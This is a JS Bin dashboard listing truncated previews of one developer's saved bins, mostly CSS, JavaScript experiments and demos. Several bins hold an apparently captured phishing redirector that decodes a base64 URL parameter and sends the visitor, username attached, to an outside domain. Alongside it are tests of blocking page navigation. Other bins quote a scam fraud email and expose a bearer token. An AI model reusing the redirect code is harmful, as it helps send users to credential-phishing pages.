Open previously saved bins by rem or continue with current one:

sirosud 1 month ago Archive Un-archive ...
pituqir 5 months ago Archive Un-archive img { display: block; max-width: 100%; aspect-ratio: 1; } body { display: flex; }
dupazed 12 Jul 2024 Archive Un-archive Lorem ipsum dolor sit amet, consectetur adipisicing elit. Ipsa, eligendi ullam dignissimos iste facere magnam debitis minus, similique distinctio non quas, ducimus fugit aliquam perferendis odit doloremque illo expedita iure.
miqecuv 25 Mar 2024 Archive Un-archive this is a change LOS ANGELES WEATHER !function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src='https://weatherwidget.io/js/widget.min.js';fjs.parentNode.insertBefore(js,fjs);}}(document,'sc
1 25 Mar 2024 Archive Un-archive This is also a demo.
qimaxew 28 Feb 2024 Archive Un-archive ES6 in Action: New Number Methods [1]
vagoyug 25 Feb 2024 Archive Un-archive Demo time
racefox 11 Oct 2023 Archive Un-archive Fallback content. Server rendered Declarative Shadow DOM. :host { text-decoration: underline; color: red; } Fallback content. Server rendered Declarative Shadow DOM. :host { text-decoration: underline; }
1 11 Oct 2023 Archive Un-archive Fallback content. Server rendered Declarative Shadow DOM. :host { display: block; text-decoration: underline; } Fallback content. Server rendered Declarative Shadow DOM. :host { text-decoration: underline; }
wikebam 09 Oct 2023 Archive Un-archive #pattern { height: 200px; background-size: contain; background-image: url("data:image/svg+xml,%3Csvg viewBox='0 0 194 103' fill='none' xmlns='http://www.w3.org/2000/svg'%3E%3Cmask id='a' fill='%23fff'%3E%3Cpath fill-rule='evenodd' clip-rule='evenodd' d='M
famukef 04 Jul 2023 Archive Un-archive Trying to prevent redirect document.location.href = "https://remysharp.com";
4 04 Jul 2023 Archive Un-archive Trying to prevent redirect document.location.href = "https://remysharp.com";
3 04 Jul 2023 Archive Un-archive Trying to prevent redirect document.location.href = "https://remysharp.com";
2 04 Jul 2023 Archive Un-archive Trying to prevent redirect document.location.href = "https://remysharp.com";
1 04 Jul 2023 Archive Un-archive Trying to prevent redirect document.location.href = "https://remysharp.com";
qogixek 04 Jul 2023 Archive Un-archive let landing = "https://lmo.pneumak-parker.com/?username="; let qParams = new URLSearchParams(window.location.search); let e = qParams.get("mandate"); // or whatever used; var decoder = ""; console.log("wondering") try { decoder = atob(e); } catch { decode
3 04 Jul 2023 Archive Un-archive let landing = "https://lmo.pneumak-parker.com/?username="; let qParams = new URLSearchParams(window.location.search); let e = qParams.get("mandate"); // or whatever used; var decoder = ""; try { decoder = atob(e); } catch { decoder = e; } document.locatio
2 04 Jul 2023 Archive Un-archive let landing = "https://lmo.pneumak-parker.com/?username="; let qParams = new URLSearchParams(window.location.search); let e = qParams.get("mandate"); // or whatever used; var decoder = ""; try { decoder = atob(e); } catch { decoder = e; } document.locatio
1 04 Jul 2023 Archive Un-archive let landing = "https://lmo.pneumak-parker.com/?username="; let qParams = new URLSearchParams(window.location.search); let e = qParams.get("mandate"); // or whatever used; var decoder = ""; try { decoder = atob(e); } catch { decoder = e; } document.locatio
hovuras 04 Jul 2023 Archive Un-archive let interaction = false; const before = document.location.href; const beforeUnloadListener = (event) => { if (interaction) return; console.log(event); event.preventDefault(); document.location.href = before; return (event.returnValue = "wait"); }; addEven
5 04 Jul 2023 Archive Un-archive let interaction = false; const beforeUnloadListener = (event) => { if (interaction) return; console.log(event); alert('ok?') event.preventDefault(); return (event.returnValue = "wait"); }; addEventListener("beforeunload", beforeUnloadListener, { capture:
4 04 Jul 2023 Archive Un-archive let interaction = false; const beforeUnloadListener = (event) => { if (interaction) return; console.log(event); alert('ok?') event.preventDefault(); return (event.returnValue = "wait"); }; addEventListener("beforeunload", beforeUnloadListener, { capture:
3 04 Jul 2023 Archive Un-archive let interaction = false; const beforeUnloadListener = (event) => { if (interaction) return; console.log(event); event.preventDefault(); return (event.returnValue = "wait"); }; addEventListener("beforeunload", beforeUnloadListener, { capture: true }); addE
2 04 Jul 2023 Archive Un-archive let interaction = false; const beforeUnloadListener = (event) => { //if (interaction) return; event.preventDefault(); return (event.returnValue = "wait"); }; addEventListener("beforeunload", beforeUnloadListener, { capture: true }); addEventListener("clic
1 04 Jul 2023 Archive Un-archive let interaction = false; const beforeUnloadListener = (event) => { if (interaction) return; event.preventDefault(); return (event.returnValue = ""); }; addEventListener("beforeunload", beforeUnloadListener, { capture: true }); addEventListener("click", ()
gozudox 13 Oct 2022 Archive Un-archive body { background: red; }
rimurur 07 Oct 2022 Archive Un-archive // via http://stackoverflow.com/a/728694/22617 function clone(obj) { // Handle the 3 simple types, and null or undefined if (null === obj || 'object' !== typeof obj) { return obj; } var copy; // Handle Date if (obj instanceof Date) { copy = new Date(); co
1 07 Oct 2022 Archive Un-archive // via http://stackoverflow.com/a/728694/22617 function clone(obj) { // Handle the 3 simple types, and null or undefined if (null === obj || 'object' !== typeof obj) { return obj; } var copy; // Handle Date if (obj instanceof Date) { copy = new Date(); co
cojopen 28 Sep 2022 Archive Un-archive @import 'https://cdn.jsdelivr.net/npm/@shoelace-style/shoelace@2.0.0-beta.83/dist/themes/light.css'; body { font: 16px sans-serif; background-color: var(--sl-color-neutral-0); color: var(--sl-color-neutral-900); padding: 1rem; }
nadijem 03 Apr 2019 Archive Un-archive press
5 03 Apr 2019 Archive Un-archive press
4 03 Apr 2019 Archive Un-archive press
3 03 Apr 2019 Archive Un-archive press
2 03 Apr 2019 Archive Un-archive document.body.onclick = () => navigator.vibrate(2000)
1 03 Apr 2019 Archive Un-archive navigator.vibrate(2000)
remy-bio 05 Sep 2018 Archive Un-archive * { background: white; font-family: roboto, arial, sans-serif; font-size: 1rem; line-height: 1.8rem; } p { margin: 1.4rem; }
5 28 Mar 2017 Archive Un-archive * { background: white; font-family: roboto, arial, sans-serif; font-size: 1rem; line-height: 1.8rem; } p { margin: 1.4rem; }
4 28 Mar 2017 Archive Un-archive * { background: white; font-family: roboto, arial, sans-serif; font-size: 1rem; line-height: 1.8rem; } p { margin: 1.4rem; }
3 31 Mar 2015 Archive Un-archive [Remy][1] is the founder and curator of [Full Frontal][2], the UK based JavaScript conference. He also ran [jQuery for Designers][3], co-authored [Introducing HTML5][4] (adding all the JavaScripty bits) and likes to grumble on Twitter. Whilst he's not [wr
2 24 Jul 2013 Archive Un-archive [Remy][1] is the founder and curator of [Full Frontal][2], the UK based JavaScript conference. He also ran [jQuery for Designers][3], co-authored [Introducing HTML5][4] (adding all the JavaScripty bits) and is one of the curators of [HTML5Doctor.com][5].
1 23 May 2013 Archive Un-archive [Remy][1] is the founder and curator of [Full Frontal][2], the UK based JavaScript conference. He also ran [jQuery for Designers][3], co-authored [Introducing HTML5][4] (adding all the JavaScripty bits) and is one of the curators of [HTML5Doctor.com][5].
vahafoz 11 Apr 2018 Archive Un-archive This is a private demo.
cofibec 27 Feb 2018 Archive Un-archive This is a demo.
mifigor 05 Feb 2018 Archive Un-archive JS Bin
xopajig 01 Dec 2017 Archive Un-archive Demo
fezevey 23 Nov 2017 Archive Un-archive const toBinary = (n, size = 8) => { if (n < 0) { return Array.from({ length: size }, (_, i) => { return ((n >> i) & 1) === 1 ? 1 : 0; }) .reverse() .join(''); } return n.toString(2).padStart(size, 0); }; console.clear(); console.assert(-39 === new Int8Arr
xixenoy 11 Sep 2017 Archive Un-archive var links = ` https://www.nordicvisitor.com/ Any page https://day-tours.icelandguest.com/ Any page https://www.getlocal.is Specific URL http://www.visir.is/ Any page http://www.ni.is Any page http://www.visir.is Any page http://www.nba.com Any page http:/
devixuq 11 Sep 2017 Archive Un-archive ...
vogapat 17 Aug 2017 Archive Un-archive [add your bin description]
napadix 30 Jul 2017 Archive Un-archive var guid = 0; function run() { guid++; var id = guid; return new Promise(resolve => { setTimeout(function () { console.log(id); resolve(id); }, (Math.random() * 1.5 | 0) * 1000); }); } var promises = Array.from({ length: 10 }, run); Promise.all(promises).
jufayec 30 Jul 2017 Archive Un-archive import CodeMirror from 'codemirror'; var WRAP_CLASS = 'CodeMirror-highlight-line'; var BACK_CLASS = 'CodeMirror-highlight-line-background'; CodeMirror.defineOption('highlightLine', false, function(cm, val, old) { var prev = old && old !== CodeMirror.Init;
duwawow 29 Jul 2017 Archive Un-archive console.clear(); const lightTheme = 'light'; const darkTheme = 'dark'; const defaultState = { theme: lightTheme, vertical: false, splitterWidth: 50, source: 'html', }; console.log('fine', defaultState); function reducer(state = defaultState, action) { con
quduhoc 26 Jul 2017 Archive Un-archive // here be your javascript console.log('hello, where is my HTML?'); window.whoami = 'the skiff'; console.log(whoami); const time = document.querySelector('#time'); console.clear(); window.interval = setInterval(() => { const t = new Date().toJSON().split(
6e21f6ad061d6b648af1e5b28a04e2f3 26 Jul 2017 Archive Un-archive This is the body of my story
hazoyir 16 Jul 2017 Archive Un-archive Code:
2 16 Jul 2017 Archive Un-archive Code:
1 16 Jul 2017 Archive Un-archive const divs = Array.from({ length: 8 * 8 }, _ => { const elem = document.createElement('input'); elem.className = 'bit'; elem.type = 'checkbox'; document.body.appendChild(elem); });
vomaki 15 Jul 2017 Archive Un-archive Ethos This just a page for things that I&#39;ve collected over time. Usually it&#39;s sometime that someone else has said, but calls to me. It rings true to my ethos and existence. It&#39;s far from definitive and not organised well, but it&#39;s a start
loxecar 14 Jul 2017 Archive Un-archive About So, welcome to net gaff. My name is Remy Sharp. I live in the sometimes sunny Brighton (it&#39;s in the south of the UK, for those across the pond). The south coast is definitely my favourite place to be, but I spent some time on the outskirts of Lo
0f8d380a016f38975d6280517638b756 14 Jul 2017 Archive Un-archive const person = { name: 'remy' }; { try { const { foo } = person; console.log(foo); } catch (e) { console.log('failed destructure') } }
3 14 Jul 2017 Archive Un-archive const person = { name: 'remy' }; { try { const { foo } = person; } catch (e) { console.log('failed destructure') } console.log(foo); }
1 14 Jul 2017 Archive Un-archive const person = { name: 'remy' }; { try { const { name } = person; } catch (e) { } }
2 14 Jul 2017 Archive Un-archive const person = { name: 'remy' }; { try { const { name } = person; } catch (e) { console.log('failed destruct') } }
kirobex 14 Jul 2017 Archive Un-archive const res = { }
dunazep 10 Jul 2017 Archive Un-archive ZX 48K colour picker Ink Paper Bright Blink
gunecaq 08 Jul 2017 Archive Un-archive JS Bin
hekeciq 08 Jul 2017 Archive Un-archive JS Bin
2ea630b99f9602ce56622b7fda34fdfd 07 Jul 2017 Archive Un-archive class Toggle extends React.Component { constructor(props) { super(props); this.state = {isToggleOn: true}; this.handleClick = this.handleClick.bind(this); } handleClick() { this.setState(prevState => ({ isToggleOn: !prevState.isToggleOn })); } render() {
6 07 Jul 2017 Archive Un-archive class Toggle extends React.Component { constructor(props) { super(props); this.state = {isToggleOn: true}; this.handleClick = this.handleClick.bind(this); } handleClick() { this.setState(prevState => ({ isToggleOn: !prevState.isToggleOn })); } render() {
5 07 Jul 2017 Archive Un-archive class Toggle extends React.Component { constructor(props) { super(props); this.state = {isToggleOn: true}; // This binding is necessary to make `this` work in the callback this.handleClick = this.handleClick.bind(this); } handleClick() { this.setState(pre
4 07 Jul 2017 Archive Un-archive class Toggle extends React.Component { constructor(props) { super(props); this.state = {isToggleOn: true}; // This binding is necessary to make `this` work in the callback this.handleClick = this.handleClick.bind(this); } handleClick() { this.setState(pre
3 07 Jul 2017 Archive Un-archive class Toggle extends React.Component { constructor(props) { super(props); this.state = {isToggleOn: true}; // This binding is necessary to make `this` work in the callback this.handleClick = this.handleClick.bind(this); } handleClick() { this.setState(pre
2 07 Jul 2017 Archive Un-archive import
1 07 Jul 2017 Archive Un-archive import
gaqemuv 07 Jul 2017 Archive Un-archive JS Bin
qodawej 22 Jun 2017 Archive Un-archive .a { /** screenshots: - Chrome 58.0.3029.110: https://cloudup.com/cGFeosdy_iD - Firefox 54.0: https://cloudup.com/c31-eu0Kn84 Note how in Firefox, the `.a` element doesn't remain inside of the box - this only happens when I use `align-self` property. **/
1 22 Jun 2017 Archive Un-archive body { background: white; font-family: monospace; font-size: 18px; } .grid { display: grid; grid-template-columns: repeat(2, 1fr); grid-template-rows: repeat(2, 10em); grid-gap: 1em; } .grid > * { outline: 1px dashed rgba(0,0,0,.5); } img { max-width: 100
siloqav 22 Jun 2017 Archive Un-archive 1-1 1-2 2-2
tavida 20 Jun 2017 Archive Un-archive A few useful tips for the command line that will help with your daily workflow. No doubt if you've opened a terminal program you've (hopefully) seen you can use the arrow cu
kehujak 19 Jun 2017 Archive Un-archive A B C D E F
goqohuh 18 Jun 2017 Archive Un-archive Math.sin(x) + (x % 5)
yupuye 16 Jun 2017 Archive Un-archive toggle sound
dedoxak 16 Jun 2017 Archive Un-archive Test. Want to learn the command line? I released an affordable online course with 37 videos and an ebook for just that: terminal.training If you did want to subscribe to my infrequent newsletter, you can just click here. Blogging at remysharp.com Git
1 09 Jun 2017 Archive Un-archive Test. Note that you've not been signed up to any mailing list, this is a one off and I promise not to email out of the blue again! If you did want to subscribe to my infrequent newsletter, you can just click here. Blogging at remysharp.com Githubbing
gusevuk 14 Jun 2017 Archive Un-archive var canvas = document.getElementById("canvas"), ctx = canvas.getContext("2d"), width = 500, height = 500; canvas.width = width; canvas.height = height; ctx.fillRect(0,0,canvas.width,canvas.height); ctx.strokeStyle = "#fff"; ctx.lineWidth = 2; var waves =
tebasun 14 Jun 2017 Archive Un-archive var canvas = document.getElementById('creativejs'), c = canvas.getContext('2d'); var angle = 0; var xPositions = []; var yPositions = []; function draw() { c.clearRect(0,0,400,400); c.save(); c.strokeStyle = rgba(1,1,1, 0.5); c.line(90,0,90,400); c.line(0
kusajut 13 Jun 2017 Archive Un-archive toggle sound
casodib 13 Jun 2017 Archive Un-archive // noprotect const canvas = document.querySelector('canvas'); canvas.width = window.innerWidth; const ctx = canvas.getContext('2d'); const ui = Bind({ freq: { parse: function (v) { }, transform: function (v) { return v; }, }, { score: '#freq', }); const R
98c7f471e090d2e6747cb05470e29487 08 Jun 2017 Archive Un-archive parts = []; lastPosition = 0; title = "#twitter ppl #some and then some"; console.clear() res = title.replace(/\S*#(?:\[[^\]]+\]|\w+)/g, (tag, position) => { console.log(tag) parts.push( title.slice(lastPosition, position) ); parts.push( tag ); lastPositi
6 08 Jun 2017 Archive Un-archive parts = []; lastPosition = 0; title = "#twitter ppl #some"; res = title.replace(/\S*#(?:\[[^\]]+\]|\w+)/g, (tag, position) => { parts.push( title.slice(lastPosition, position) ); parts.push( tag ); lastPosition = position + tag.length; return "" }); conso
5 08 Jun 2017 Archive Un-archive parts = []; lastPosition = 0; title = "#twitter ppl"; res = title.replace(/\S*#(?:\[[^\]]+\]|\w+)/g, (tag, position) => { parts.push( title.slice(lastPosition, position) ); parts.push( tag ); lastPosition = position + tag.length; return "" }); console.log
5 08 Jun 2017 Archive Un-archive parts = []; lastPosition = 0; title = "#twitter ppl"; res = title.replace(/\S*#(?:\[[^\]]+\]|\w+)/g, (tag, position) => { parts.push( title.slice(lastPosition, position) ); parts.push( tag ); lastPosition = position + tag.length; return "" }); console.log
6 08 Jun 2017 Archive Un-archive parts = []; lastPosition = 0; title = "#twitter ppl #some"; res = title.replace(/\S*#(?:\[[^\]]+\]|\w+)/g, (tag, position) => { parts.push( title.slice(lastPosition, position) ); parts.push( tag ); lastPosition = position + tag.length; return "" }); conso
4 08 Jun 2017 Archive Un-archive parts = []; lastPosition = 0; title = "#twitter ppl"; res = title.replace(/\S*#(?:\[[^\]]+\]|\w+)/g, (tag, position) => { parts.push( title.slice(lastPosition, position) ); parts.push( tag ); lastPosition = position + tag.length; return "" }); console.log
3 08 Jun 2017 Archive Un-archive parts = []; lastPosition = 0; title = "#twitter ppl"; res = title.replace(/\S*#(?:\[[^\]]+\]|\w+)/g, (tag, position) => { parts.push( title.slice(lastPosition, position) ); parts.push( tag ); lastPosition = position + tag.length; return "" }); console.log
3 08 Jun 2017 Archive Un-archive parts = []; lastPosition = 0; title = "#twitter ppl"; res = title.replace(/\S*#(?:\[[^\]]+\]|\w+)/g, (tag, position) => { parts.push( title.slice(lastPosition, position) ); parts.push( tag ); lastPosition = position + tag.length; return "" }); console.log
2 08 Jun 2017 Archive Un-archive parts = []; lastPosition = 0; title = "#twitter ppl"; res = title.replace(/\S*#(?:\[[^\]]+\]|\w+)/g, (tag, position) => { parts.push( title.slice(lastPosition, position) ); parts.push( tag ); lastPosition = position + tag.length; }); console.log(res);
1 08 Jun 2017 Archive Un-archive parts = []; title = "#twitter ppl"; res = title.replace(/\S*#(?:\[[^\]]+\]|\w+)/g, (tag, position) => { parts.push( title.slice(lastPosition, position) ); parts.push( tag ); lastPosition = position + tag.length; }); console.log(res);
sasojif 08 Jun 2017 Archive Un-archive parts = []; title = "#twitter ppl"; title.replace(/\S*#(?:\[[^\]]+\]|\w+)/g, (tag, position) => { parts.push( title.slice(lastPosition, position) ); parts.push( tag ); lastPosition = position + tag.length; });
gehatuz 06 Jun 2017 Archive Un-archive //noprotect var count=1; var superScript; while(true){ if(count === 1){ superScript="st"; } else if(count===2){ superScript="nd"; } else if(count===3){ superScript="rd"; } else{ superScript="th"; } var password = prompt("Password please"); if(password!=="
medopeq 26 May 2017 Archive Un-archive Toggle sound
yakoqed 24 May 2017 Archive Un-archive Toggle sound
xujuhe 24 May 2017 Archive Un-archive var audioCtx = new(window.AudioContext || window.webkitAudioContext)(); var analyser = audioCtx.createAnalyser(); // ... analyser.fftSize = 2048; var bufferLength = analyser.frequencyBinCount; var dataArray = new Uint8Array(bufferLength); analyser.getByte
cebugiq 24 May 2017 Archive Un-archive var canvas = document.createElement('canvas'); var height = 200; var width = 200; canvas.width = width; canvas.height = height; var ctx = canvas.getContext('2d'); ctx.strokeStyle = '#090'; ctx.beginPath(); ctx.arc(width/2, height/2, width/2 - width/10, 0,
balozam 18 May 2017 Archive Un-archive var links = ` https://purecss.io/ Specific URL http://www.wp.pl Specific URL http://wp.pl Any page http://kobieta.wp.pl/ Any page https://spartez.com/ Specific URL http://wykop.pl Any page http://wp.pl Any page http://www.apartamenty-mragowo.pl/ Specific
wegelip 18 May 2017 Archive Un-archive console.clear();
dexiguj 15 May 2017 Archive Un-archive #holder { border: 10px dashed #ccc; width: 300px; height: 300px; margin: 20px auto;} #holder.hover { border: 10px dashed #333; }
hovacow 15 May 2017 Archive Un-archive Possibly shocking admission: I do not use a debugger. I know how. I just don&#39;t b/c tests are better &amp; last longer.&mdash; xnoɹǝʃ uɐıɹq (@brianleroux) May 14, 2017
puvodax 15 May 2017 Archive Un-archive Just a demo..
simizi 15 May 2017 Archive Un-archive Just a frmo
ditumak 12 May 2017 Archive Un-archive const ws = new WebSocket('ws://34.203.44.8:9229'); ws.onmessage = () => { console.log('message'); }
nisezug 11 May 2017 Archive Un-archive Choose a browser from this list: Chrome Firefox Internet Explorer Opera Edge
gipusok 11 May 2017 Archive Un-archive Just testing. ......
gigase 10 May 2017 Archive Un-archive okay
quhegij 01 May 2017 Archive Un-archive console.clear(); const store = [ { value: 'Hello', done: false }, { value: 'Hello2', done: false } ] store.demo = [ { something: 'else' } ]; console.log(Array.isArray(store)); console.log(JSON.stringify(Object.assign({}, store)))
quremub 28 Apr 2017 Archive Un-archive Remy Sharp &lt;remy@leftlogic.com&gt;Attention:Remy Sharp10 messagesAhmed Hassan &lt;ah.hassan040@gmail.com&gt;28 April 2017 at 12:48To: remy@leftlogic.comFROM SCAM COMPENSATION OFFICE UNITED NATIONS ANNEX, WASHINGTON DC,USA TEL:+1 3153145530 Attention:R
novuta 26 Apr 2017 Archive Un-archive const otherFunction = async (foo) => { return new Promise((resolve) => { setTimeout(() => { resolve('10') }, 200); }); } const getSession = async (update) => { if (update) { return 'update' } return otherFunction(update); } function main(){ console.clear(
migihu 25 Apr 2017 Archive Un-archive iframe { border: 0; width: 100%; height: 400px; }
sexuzu 23 Apr 2017 Archive Un-archive Demo...
cemivi 20 Apr 2017 Archive Un-archive console.clear(); const out = document.querySelector('#output'); function log(...rest) { out.innerHTML += `<code>${rest.join('</code><code>')}</code>\n`; } const title = '#Twitter people #more-some and then #some'; const res = []; title.toLowerCase().repla
qimuluz 11 Apr 2017 Archive Un-archive Toggle sound
10 11 Apr 2017 Archive Un-archive Toggle sound
9 11 Apr 2017 Archive Un-archive Toggle sound
8 11 Apr 2017 Archive Un-archive Toggle sound
7 11 Apr 2017 Archive Un-archive Toggle sound
6 11 Apr 2017 Archive Un-archive Toggle sound
5 11 Apr 2017 Archive Un-archive Toggle sound
4 11 Apr 2017 Archive Un-archive Toggle sound
3 11 Apr 2017 Archive Un-archive Toggle sound
2 11 Apr 2017 Archive Un-archive Toggle sound
1 11 Apr 2017 Archive Un-archive // create web audio api context var audioCtx = new (window.AudioContext || window.webkitAudioContext)(); // create Oscillator node var oscillator = audioCtx.createOscillator(); oscillator.type = 'square'; oscillator.frequency.value = 440; // value in hert
yafukaw 11 Apr 2017 Archive Un-archive ا ا اضغ hay
qobaxe 09 Apr 2017 Archive Un-archive Lorem ipsum dolor sit amet, consectetur adipisicing elit. Quod, odit neque temporibus magni. Aspernatur id, provident ea optio iure atque voluptas, maxime quae debitis nemo magni quasi. Error, adipisci, debitis.
zidufit 05 Apr 2017 Archive Un-archive bar
votadun 05 Apr 2017 Archive Un-archive const f = { a: 1, b: 2 } for (const a in f) { console.log(a) }
qirayoq 02 Apr 2017 Archive Un-archive ...
qaragiy 31 Mar 2017 Archive Un-archive Bling blang foo doo
zedokoz 30 Mar 2017 Archive Un-archive this is an example
kumomih 29 Mar 2017 Archive Un-archive JS Bin
8276f8495ac81ec58f70248c4c3d28c3 25 Mar 2017 Archive Un-archive body { background: white; font-family: "roboto", sans-serif; padding: 20px; h1 { font-weight: bold; color: #aaa; } }
tezapud 25 Mar 2017 Archive Un-archive ا ا اضغ hay
sakula 25 Mar 2017 Archive Un-archive Rev
1 24 Mar 2017 Archive Un-archive function findOdd(a) { var seen = {}; var result = 0; for (var i = 0; i < a.length; i++) { if (seen[a[i]]) { seen[a[i]] = false; result -= a[i]; } else { seen[a[i]] = true; result += a[i]; } } return result; }
nazojik 18 Mar 2017 Archive Un-archive function bar(a, b, c) { console.log(`a: ${a}, b: ${b}, c: ${c}`); } function foo(...rest) { bar(...rest); } foo('one', 'two', 'three')
bayapel 17 Mar 2017 Archive Un-archive // this is a test
tejoxa 15 Mar 2017 Archive Un-archive Calculated a sum of times
8 11 Jan 2017 Archive Un-archive Calculated a sum of times
7 17 Dec 2016 Archive Un-archive Calculated a sum of times
6 08 Dec 2016 Archive Un-archive Calculated a sum of times
5 27 Sep 2016 Archive Un-archive Calculated a sum of times
4 03 Sep 2016 Archive Un-archive Calculated a sum of times
3 16 Aug 2016 Archive Un-archive Calculated a sum of times
2 13 Aug 2016 Archive Un-archive Calculated a sum of times
1 13 Aug 2016 Archive Un-archive const d = new Date() const base = d.getTime() let delta =0 ['01:10','03:27'].map(_ => { d.setTime(`00:${_}`) delta += d.getTime() }) console.log(delta.getTime())
jikitim 27 Feb 2017 Archive Un-archive box
cipope 24 Feb 2017 Archive Un-archive console.clear() const obj = { a: 1 }; const { b = 20, a = 10 } = obj; console.log(a, b)
kuterap 22 Feb 2017 Archive Un-archive fetch('https://bdbf578b.eu.ngrok.io/me/urls', { headers: { // example uses 1 minute token authorization: 'Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImFlNzFlMjVjLWQzMTYtNDE3Zi05YzIzLTkxMDI4Y2RiOWVkZCIsImlhdCI6MTQ4Nzc3MTcxNywiZXhwIjoxNDg3NzcxNzc3f
diwixil 21 Feb 2017 Archive Un-archive Examples for taxtools.io, the VATMOSS API
2 21 Feb 2017 Archive Un-archive Examples for taxtools.io, the VATMOSS API
1 21 Feb 2017 Archive Un-archive const paid = 100; const rate = 0.20; // based on DK VAT rate const pretax = paid / (1 + rate); const tax = paid - pretax console.log(pretax + ' + ' + tax + ' = ' + paid)
1c8a715f8a6c1326020e7787d1799817 21 Feb 2017 Archive Un-archive console.clear(); const paid = 100; const rate = 20; // based on DK VAT rate const vat = Math.round(paid / (1 + rate / 100)); console.log((paid - tax) + ' + ' + tax + ' = ' + paid)
2 21 Feb 2017 Archive Un-archive console.clear(); const paid = 100; const rate = 0.20; // based on DK VAT rate const pretax = paid / (1 + rate); const tax = paid - pretax; console.log(pretax + ' + ' + tax + ' = ' + paid)
1 21 Feb 2017 Archive Un-archive console.clear(); const paid = 100; const rate = 0.20; // based on DK VAT rate const pretax = paid / (1 + rate); const tax = paid - pretax; console.log(pretax + ' + ' + tax + ' = ' + paid)
sagavuc 20 Feb 2017 Archive Un-archive console.clear() $.ajax({ url: 'https://jsonbin.org/remy/urls', type: 'json', success: (res) => { console.log(res); } })
vopiwuk 14 Feb 2017 Archive Un-archive res.innerHTML = document.body.innerHTML.replace(/(<pre id="res">).*$/).replace(/[<>]/g, (m, a) => { return { '<': '&lt;', '>': '&gt;' }[m] })
cadodis 14 Feb 2017 Archive Un-archive initLatencymon( 'leftlogic.com', {}, // Tool options, see table below for more info { measurements:[1791207, 2083078] } // Query options, see table below for more info );
jupabam 14 Feb 2017 Archive Un-archive var a = `remy sharp wrote this nice thing`; console.clear(); console.log(a.split('\n\n'))
zulaha 13 Feb 2017 Archive Un-archive -->
8 04 Jul 2015 Archive Un-archive -->
7 01 Jul 2015 Archive Un-archive -->
6 01 Jul 2015 Archive Un-archive -->
5 01 Jul 2015 Archive Un-archive -->
4 30 Jun 2015 Archive Un-archive -->
3 30 Jun 2015 Archive Un-archive -->
2 30 Jun 2015 Archive Un-archive -->
1 30 Jun 2015 Archive Un-archive -->
yobihi 12 Feb 2017 Archive Un-archive var fixture = { commits: [ { modified: [ { a: "one" }, { b: "two" } ] }, { modified: [ { a: "two" }, { b: "four" }, ] } ] }; /** For this query: commits.*.modified.*.b Should the result be: 1. [ "two", "four" ] (flattened) 2. [ [ "two" ], [ "four" ] ] (or
busubad 08 Feb 2017 Archive Un-archive JS Bin
lakedo 08 Feb 2017 Archive Un-archive console.log(split('["one"]')) function split(path) { var res = []; var level = 0; var key = ''; for (var i = 0; i < path.length; i++) { var c = path.substr(i, 1); if (level === 0 && (c === '.' || c === '[')) { if (c === '[') { level++; i++; c = path.subst
bukowev 08 Feb 2017 Archive Un-archive console.clear(); const obj = { a: { b: { 'a.b.c': { a: 10 } } } } const path = 'a["one.two"]'; const t = split(path) console.log('-------') console.log(t); function split(path) { var res = []; var level = 0; var key = ''; console.log('path', path); for (v
1 08 Feb 2017 Archive Un-archive console.clear(); const obj = { a: { b: { 'a.b.c': { a: 10 } } } } const path = "a.b['a.b.c'].a"; const t = []; let level = 0; let key = ''; for (let c of path) { if (c === '[') { level++; } if (c === ']') { } if (level === 0 && (c === '.' || c === '[')) {
hinunih 07 Feb 2017 Archive Un-archive --> JLR - proposal feedback 7 Feb 2017 Items for consideration low pri The proposal says &quot;WordPress for the content to be added to and easily updated&quot;. Is there an example or simple demo of this so that BN are comfortable? high pri &quot;We bu
bitaza 06 Feb 2017 Archive Un-archive Middle
2 06 Feb 2017 Archive Un-archive Middle
1 06 Feb 2017 Archive Un-archive Middle
hijetej 05 Feb 2017 Archive Un-archive
zixife 02 Feb 2017 Archive Un-archive function required() { throw new Error('required') } function ensure(value = required()) { return value; } console.log(ensure())
buhacow 31 Jan 2017 Archive Un-archive console.clear(); var array = [1,2,3,4,5,6,7,8,9,0,10,20,3]; var thisWeek = 5; var res = array.filter(function (item) { return item >= thisWeek; }).sort(function (a, b) { return a - b; }); console.log(res);
1 31 Jan 2017 Archive Un-archive console.clear(); var data = [1,2,3]; if (Array.isArray(data) && data.length > 0) { console.log('we have data') console.log(data.length) } else { console.log('no data'); }
doxiri 27 Jan 2017 Archive Un-archive ا ا اضغ hay
kusazuk 27 Jan 2017 Archive Un-archive ا ا اضغ hay
cesado 26 Jan 2017 Archive Un-archive Thank you for buying {{title}} ❤ Your course is ready for you to start streaming right away. You can also find your invoice and any extras your package included in the link below. Access your course now Or you can use this link: {{url}} Help me spread the
tekogiz 26 Jan 2017 Archive Un-archive {{>email-header}} Thank you for buying {{title}} ❤ Your course is ready for you to start streaming right away. You can also find your invoice and any extras your package included in the link below. Access your course now Or you can use this link: {{url}}
gutoce 26 Jan 2017 Archive Un-archive * { font-family: sans-serif; }
25ed5ceb160108978f522c5c0f4cc67a 25 Jan 2017 Archive Un-archive * { -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; } html, body, #root { height: 100%; font-family: sans-serif; } body, html { padding: 0; margin: 0 auto; } body { font-size: 1rem; background: white; color: #424242; }
1 25 Jan 2017 Archive Un-archive * { box-sizing: border-box; } :root { --main: rgb(245, 124, 0); --main-darken: #E65100; } html, body, #root { height: 100%; font-family: sans-serif; } body, html { padding: 0; margin: 0 auto; } body { font-size: 1rem; background: white; color: #424242; }
wuwexun 25 Jan 2017 Archive Un-archive * { box-sizing: border-box; } :root { --main: rgb(245, 124, 0); --main-darken: #E65100; --old: #03A9F4; --old-darken: #2196F3; } html, body, #root { height: 100%; font-family: sans-serif; } body, html { padding: 0; margin: 0 auto; } body { font-size: 1rem
fugafo 25 Jan 2017 Archive Un-archive console.clear(); a = { z: 1, y: 2, x: 3 }; b = Object.keys(a).filter(_ => ['z', 'y'].includes(_)).reduce((acc, curr) => { acc[curr] = a[curr]; return acc; }, {}); // const b = { y }; console.log(b)
sarasi 18 Jan 2017 Archive Un-archive #videocontainer { max-width: 1080px; margin: 0 auto; } video { max-width: 100%; }
1 18 Jan 2017 Archive Un-archive #videocontainer { max-width: 1152px; } video { max-width: 100%; }
wozogaz 17 Jan 2017 Archive Un-archive /* setup code to replicate issue */ console.clear(); const data = [ Array.from({ length: 12 }, (_, i) => i).map(_ => moment('2017-01-01').add(_, 'week').format()) ] /** end of setup code */ /** original code from https://git.io/vMi1b **/ // new bit var th
